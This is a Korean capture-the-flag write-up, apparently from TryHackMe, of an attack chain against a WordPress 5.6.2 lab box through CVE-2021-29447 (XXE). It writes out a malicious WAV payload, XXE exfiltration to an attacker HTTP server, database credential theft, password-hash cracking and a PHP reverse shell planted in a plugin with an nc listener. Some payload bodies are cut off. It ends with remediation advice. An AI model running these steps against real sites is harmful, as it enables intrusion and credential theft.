
목표는 WordPress 기반 웹 애플리케이션에 대한 전면적인 보안 평가를 수행하여 궁극적으로 서버를 완전히 장악하는 것입니다. 이 평가에서는 특정 실제 취약점(CVE-2021-29447)을 악용하여 초기 액세스 권한을 획득하는 데 초점을 맞춥니다.
프로젝트 목표: 취약한 WordPress 설치를 대상으로 CVE-2021-29447(미디어 라이브러리의 XXE)을 악용하여 원격 코드 실행 및 전체 시스템 손상까지 이르는 완전한 공격 체인을 시연하는 것.
1단계: 정찰 및 정보 수집 Nmap을 사용한 네트워크 스캔:
bash
nmap -sS -T4 10.201.3.95
nmap -sV -sC -p22,80,3306 10.201.3.95 -oA initial_scan 결과:
text PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 80/tcp open http Apache/2.4.18 (Ubuntu) |_http-generator: WordPress 5.6.2 3306/tcp open mysql MySQL 5.7.33 WPScan을 사용한 WordPress 열거:
bash
wpscan --url http://10.201.3.95/ --enumerate u
wpscan --url http://10.201.3.95/ --usernames test-corp --passwords passwords.txt 획득한 자격 증명:
사용자명: test-corp | 비밀번호: test
사용자명: corp-001 | 비밀번호: teddybear (나중에 크랙됨)
2단계: 초기 접근 - XXE 익스플로잇 (CVE-2021-29447) 악성 WAV 파일 생성:
bash echo -en 'RIFF\x85\x00\x00\x00WAVEiXML\x79\x00\x00\x00%remote;%param;%send;]>\x00' > payload.wav 외부 DTD 페이로드 (yup.dtd):
xml
">데이터 유출을 위한 HTTP 서버:
bash python3 -m http.server 8000 데이터 디코딩 PHP 스크립트:
php
추출된 데이터베이스 자격 증명:
php define('DB_NAME', 'wordpressdb2'); define('DB_USER', 'thedarktangent'); define('DB_PASSWORD', 'sUp3rS3cret132'); define('DB_HOST', 'localhost'); 3단계: 데이터베이스 접근 및 자격 증명 수집 MySQL 연결:
bash mysql -h 10.201.3.95 -u thedarktangent -p 실행된 SQL 쿼리:
sql SHOW DATABASES; USE wordpressdb2; SHOW TABLES; SELECT user_login, user_pass FROM wptry_users; 획득한 사용자 해시:
text +------------+------------------------------------+ | user_login | user_pass | +------------+------------------------------------+ | corp-001 | $P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1 | | test-corp | $P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0 | +------------+------------------------------------+ John the Ripper를 사용한 비밀번호 크래킹:
bash
cat > wp_hashes.txt << EOF corp-001:$P$B4fu6XVPkSU5KcKUsP1sD3Ul7G3oae1 test-corp:$P$Bk3Zzr8rb.5dimh99TRE1krX8X85eR0 EOF
john --wordlist=/usr/share/wordlists/rockyou.txt wp_hashes.txt john --show wp_hashes.txt 크래킹된 비밀번호:
corp-001:teddybear
test-corp:test
4단계: 권한 상승 및 RCE 리버스 셸 페이로드 (수정된 Hello Dolly 플러그인):
php
Netcat 리스너:
bash nc -nvlp 4444 획득한 셸 접근:
text Connection received on 10.201.3.95 42314 Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP uid=33(www-data) gid=33(www-data) groups=33(www-data) 5단계: 사후 익스플로잇 (완료 대기 중) 다음 세션을 위한 명령어:
bash
find / -name flag.txt 2>/dev/null find / -name root.txt 2>/dev/null find / -name user.txt 2>/dev/null
sudo -l find / -perm -u=s -type f 2>/dev/null cat /etc/crontab ps aux uname -a cat /etc/os-release 보안 발견 사항 및 권장 사항 식별된 중요 취약점:
CVE-2021-29447 - WordPress 미디어 라이브러리의 XML 외부 엔터티 처리
취약한 비밀번호 정책 - 쉽게 추측 가능한 비밀번호 (test, teddybear)
노출된 데이터베이스 서비스 - MySQL이 원격으로 접근 가능
오래된 소프트웨어 - 알려진 취약점이 있는 WordPress 5.6.2
과도한 사용자 권한 - 플러그인 수정 권한이 있는 비관리자 사용자
수정 권장 사항:
최신 WordPress 버전으로 즉시 업데이트
강력한 비밀번호 정책 및 2단계 인증 구현
데이터베이스 접근을 localhost로만 제한
정기적인 보안 패치 및 취약점 스캔
사용자 계정에 대한 최소 권한 원칙
프로젝트 상태: 90% 완료 - 리버스 셸 획득, 최종 플래그 캡처 및 권한 상승은 새 IP 할당 대기 중.
파트 2 ! 플래그 최종 단계: 사후 익스플로잇 및 플래그 캡처 목표: 전체 시스템 손상 달성 및 최종 플래그 캡처.
수행된 작업:
리버스 셸 활성화:
WordPress 관리자 패널 (/wp-admin/plugin-editor.php)에서 hello.php 플러그인 파일 편집
Kali 머신(10.201.6.187:4444)으로 다시 연결되도록 구성된 PHP 리버스 셸 페이로드 삽입
다음 주소에 접근하여 페이로드 실행: http://ip-10-201-46-113.ec2.internal/wp-content/plugins/hello.php
성공적인 셸 접근:
www-data 사용자로 리버스 셸 연결 획득
셸 출력:
text Connection received on 10.201.46.113 46240 Linux ubuntu 4.4.0-210-generic #242-Ubuntu SMP uid=33(www-data) gid=33(www-data) groups=33(www-data) 파일 시스템 탐색:
사용자 디렉토리 발견: /home/stux/
플래그 디렉토리 발견: /home/stux/flag/
플래그 파일 위치 확인: /home/stux/flag/flag.txt
플래그 추출:
실행된 명령어: cat /home/stux/flag/flag.txt
캡처된 플래그: thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}
전체 공격 체인 요약 단계 사용된 기술 결과
CVE-2021-29447 - WordPress 미디어 라이브러리의 XML 외부 엔터티 처리
취약한 비밀번호 정책 - 쉽게 추측 가능한 비밀번호 (test, teddybear)
과도한 사용자 권한 - 플러그인을 수정할 수 있는 비관리자 사용자
오래된 소프트웨어 - 알려진 취약점이 있는 WordPress 5.6.2
정보 노출 - wp-config.php의 데이터베이스 자격 증명
보안 권장 사항:
✅ 최신 WordPress 버전으로 즉시 업데이트
✅ 2FA가 포함된 강력한 비밀번호 정책 구현
✅ 정기적인 보안 패치 및 취약점 스캔
✅ 사용자 계정에 대한 최소 권한 원칙
✅ 파일 업로드 기능 및 XML 처리 제한
결론 Project Chimera는 초기 정찰부터 전체 시스템 손상까지의 완전한 공격 체인을 성공적으로 시연했습니다. 이 실습은 겉보기에 사소해 보이는 XML 파싱 취약점(CVE-2021-29447)이 열악한 보안 관행과 결합되어 어떻게 전체 시스템 장악으로 이어질 수 있는지 강조했습니다.
이 프로젝트는 다음의 중요성을 강조했습니다:
정기적인 소프트웨어 업데이트 및 패치 관리
강력한 인증 메커니즘
적절한 접근 제어 및 권한 관리
포괄적인 보안 모니터링
최종 상태: ✅ 100% 완료 - 모든 목표 달성, 플래그 캡처: thm{28bd2a5b7e0586a6e94ea3e0adbd5f2f16085c}
Project Chimera는 단일 취약점이 다른 보안 약점과 결합될 때 완전한 시스템 손상으로 이어질 수 있으므로, 방어에 있어 심층 방어가 필요하다는 강력한 교훈을 제공합니다.